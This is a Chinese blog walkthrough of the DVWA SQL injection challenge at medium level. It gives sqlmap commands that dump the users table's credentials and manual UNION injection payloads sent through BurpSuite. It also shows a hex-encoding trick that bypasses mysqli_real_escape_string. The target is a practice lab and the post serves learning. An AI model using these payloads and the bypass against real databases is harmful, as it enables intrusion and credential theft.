首页 > 数据库 >[网络安全]DVWA之SQL注入—medium level解题详析

[网络安全]DVWA之SQL注入—medium level解题详析

时间:2023-05-02 22:13:03浏览次数:61  
标签:详析 sqlmap medium 回显 level dvwa SQL id 注入

免责声明:本文仅分享SQL攻击相关知识,不承担任何法律责任。
本文涉及的DVWA应用程序、BurpSuite、sqlmap请读者自行安装,本文不再赘述。
SQL注入原理可参考:[网络安全]SQL注入原理及常见攻击方法简析

sqlmap注入方式可参考:[网络安全]以留言板项目渗透实例带你入门sqlmap


提交用户名后URL并未产生参数的传输,结合页面源代码发现,该数据请求类型为POST请求。

判断漏洞类型

判断是否为数字型注入

  1. 使用hackbar进行POST:id=1 and 1=1 &submit=submit 回显如下:

在这里插入图片描述再POST:id=1 and 1=2 &submit=submit 无任何回显
说明该漏洞类型为数字型注入漏洞

  1. 使用BurpSuite进行POST

先抓ID=1的数据包
在这里插入图片描述在Repeater中修改ID参数为id=1 and 1=1 &Submit=Submit,回显如下:
在这里插入图片描述再将ID参数修改为id=1 and 1=1 &Submit=Submit 无任何回显
说明该漏洞类型为数字型注入漏洞

判断注入点个数

提交参数id=1 and order by 4
在这里插入图片描述说明注入点少于4个
不断尝试后得知注入点为2个

BurpSuite+sqlmap数字型注入

具体方式可参考:[网络安全]以留言板项目渗透实例带你入门sqlmap
将拦截包另存为1.txt,放在sqlmap目录下
注意:在sqlmap中不需要考虑注入点的个数

爆数据库名

输入python sqlmap.py -r 1.txt(文件名,下同) -p id(参数名,下同) --dbs
在这里插入图片描述回显如下:
在这里插入图片描述

爆dvwa库的表名

输入python sqlmap.py -r 1.txt -p id -D dvwa(数据库名,下同) --tables
在这里插入图片描述回显如下:
在这里插入图片描述

爆users表的列名

输入python sqlmap.py -r 1.txt -p id -D dvwa -T users(表名,下同) --columns
在这里插入图片描述回显如下:
在这里插入图片描述

爆列中的字段

输入python sqlmap.py -r 1.txt -p id -D dvwa -T users -C user,password(列名) --dump
在这里插入图片描述回显如下:
在这里插入图片描述

基于POST请求的sqlmap数字型注入

查看是否存在注入点

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1"
在这里插入图片描述回显如下:
在这里插入图片描述故注入点存在

查询数据库名

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" --dbs
在这里插入图片描述回显如下:
在这里插入图片描述

查询dvwa库的表名

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa --tables
在这里插入图片描述回显如下:
在这里插入图片描述

查询users表的列名

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users --columns
在这里插入图片描述回显如下:
在这里插入图片描述

查询列中的字段

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users -C user,password --dump
在这里插入图片描述回显如下:
在这里插入图片描述

基于POST请求的BrupSuite数字型注入

注意:在使用BurpSuite进行sql注入时,需要考虑注入点个数

查询数据库名

输入1 union select database()#
回显如下:
在这里插入图片描述可以看到 当sql语句中的注入点个数与判断出的注入点个数不相符时,攻击失败
输入1 union select 1,database()#
回显如下:
在这里插入图片描述

查询dvwa库的表名

输入1 union select 1,table_name from information_schema.tables where table_schema='dvwa'#
回显如下:
在这里插入图片描述

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''dvwa'#' at line 1 您的SQL语法有错误;查看与MySQL服务器版本相对应的手册,了解在第1行“'dvwa'#'附近使用的正确语法

查看源代码:
在这里插入图片描述这行代码使用了PHP内置的 mysqli_real_escape_string() 函数对 $id 变量进行转义处理,以防止 SQL 注入攻击。
例如,如果 $id 变量包含如下字符串:
O'qiushuo
则调用 mysqli_real_escape_string() 函数时,将返回如下字符串:
O\'qiushuo
这样可以保证在 SQL 查询语句中使用 $id 变量时,不会因为包含特殊字符而出现 SQL 注入攻击等问题。

针对特殊字符转义的编码绕过

在 Web 应用程序中,当用户在浏览器中提交表单时,浏览器会对数据进行 URL 编码,然后再将编码后的数据发送到后端服务器上。
攻击者可利用编码方式将SQL 语句和特殊字符进行编码,以绕过应用程序中的安全检查和转义机制。常见的编码方式包括十六进制编码、Unicode 编码、URL 编码等。

十六进制编码

dvwa经十六进制编码后变为64767761
修改以上语句为1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#
注意:要在64767761加上0x声明它为十六进制
在这里插入图片描述得到两个表名,guestbook和users

Unicode编码

dvwa的Unicode编码为\u0064\u0076\u0077\u0061
在这里插入图片描述由于mysql_real_escape_string() 函数转义了 \ 所以Unicode编码绕过失效

URL编码

网址规定了常用的数字、字母可以直接使用,另外一批作为特殊用户字符也可以直接用(如/ : @ '等),剩下的其它所有字符必须通过%xx编码处理。
由于字符串'dvwa'中所有的字符均不需要编码,所以URL编码绕过失效。

查询users表的列名

users的十六进制为7573657273
输入id=1 union select 1,column_name from information_schema.columns where table_name=0x7573657273#
回显如下:
在这里插入图片描述

查询列中的字段

输入id=1 union select user,password from users#
注意:由于注入点为两个,所以不能输入id=1 union select 1,user,password from users#,否则该语句认为注入点是三个。
回显如下:
在这里插入图片描述

回显技巧

  1. 注入成功后,可选择响应中的页面渲染功能,将回显注入后的页面,直观清晰。

在这里插入图片描述在这里插入图片描述
3. group_concat函数

group_concat函数 是 MySQL 中的一个聚集函数,用于将指定列(或表达式)的值以逗号分隔的形式进行拼接。
举例如下:
输入id=1 union select 1,group_concat(user,password)from users#
回显:
在这里插入图片描述该图比上图更为简洁明了

总结

以上为DVWA之SQL注入—medium level解题详析,结合三种注入姿势分享SQL攻击知识。
后续会分享DVWA之SQL注入—High level攻击姿势及解题详析。
我是秋说,我们下次见。

标签:详析,sqlmap,medium,回显,level,dvwa,SQL,id,注入
From: https://www.cnblogs.com/qiushuo/p/17368383.html

相关文章

  • [网络安全]DVWA之SQL注入—High level解题详析
    免责声明:本文仅分享SQL攻击相关知识,不承担任何法律责任。DVWA请读者自行安装,本文不再赘述。由于highlevel仅涉及简单攻击知识,本文不再详细解释。建议读者在理解SQL注入原理,熟悉lowlevel、mediumlevel解题姿势后再观看本文。具体原理及姿势参见:[网络安全]DVWA之SQL注入—low......
  • DVWA之SQL注入—Impossible level代码审计
    Impossiblelevel源代码<?phpif(isset($_GET['Submit'])){//CheckAnti-CSRFtokencheckToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');//Getinput$id=$_GET......
  • 【图文详解】一文全面彻底搞懂HBase、LevelDB、RocksDB等NoSQL背后的存储原理:LSM-tree
    LSM树广泛用于数据存储,例如RocksDB、ApacheAsterixDB、Bigtable、HBase、LevelDB、ApacheAccumulo、SQLite4、Tarantool、WiredTiger、ApacheCassandra、InfluxDB和ScyllaDB等。在这篇文章中,我们将深入探讨LogStructuredMergeTree,又名LSM树:许多高度可扩展的NoSQL分......
  • Kivy中的Level组件提供了一种在屏幕上显示动态的、可交互的图形的方法
    source:必需参数,指定要显示的图像的路径。支持的图像格式包括PNG、JPEG和GIF。size:可选参数,指定Level组件的大小。默认为None,即使用图像的原始大小。可以是一个二元组(width,height)或一个字符串形式的尺寸,如'100dp'。pos:可选参数,指定Level组件的位置。默......
  • CentOS7修改开机启动模式:命令行模式(runlevel=3)
    1.打开文件/etc/inittab: sudo/etc/inittab显示当前的runlevel:systemctlget-default设置默认的运行级别:systemcltset-defaultXX.target。XX可以是multi-user或者graphical按照提示在终端中执行命令:systemctlset-defaultmulti-user.target注意:按照inittab文件中的提......
  • pwn | jarvisoj_level3_x64
    pwn|jarvisoj_level3_x64x64ret2libcexp:frompwnimport*fromLibcSearcherimport*context.log_level='debug'p_vuln=0x00000000004005E6p_main=0x000000000040061Ap_str=0x00000000004006DC#p=process('./level3_x64')p=......
  • 修改maven3项目的默认的编译级别(compile level)
    评:听闻maven的鼎鼎大名打算在最近的一个项目中试下爽,结果遇到了这个问题,虽对项目影响不大,但做技术刨根问题是必须的了,少废话。1.cmd命令建立web项目:mvnarchetype:generate-DgroupId=biz.yunduo-DartifactId=dts-DpackageName=dts-DarchetypeArtifactId=maven-archetype-we......
  • LLVM(Low Level Virtual Machine)
    LLVM(LowLevelVirtualMachine)是一个开源的编译器基础设施项目,旨在提供一个可扩展、灵活和高效的编译器框架。LLVM的设计目标是提供一种中立于目标平台的IR(IntermediateRepresentation)表示方法,使得编译器开发人员可以更加容易地实现跨平台的代码生成器和优化器。LLVM项目包......
  • Sql Isolation Level
    隔离性(Isolation):与数据库中的事务隔离级别以及锁相关,多个用户可以对同一数据并发访问而又不破坏数据的正确性和完整性。但是并行事务的修改必须与其他并行事务的修改相互独立,隔离。但是在不同的隔离级别下,事务的读取操作可能得到的结果是不同的。隔离级别用于决定如何控制并......
  • DDR4 拓扑 DDR 学习时间 (Part B - 3):Write Leveling
        https://zhuanlan.zhihu.com/p/348360737https://blog.csdn.net/jsf120/article/details/113986468    ......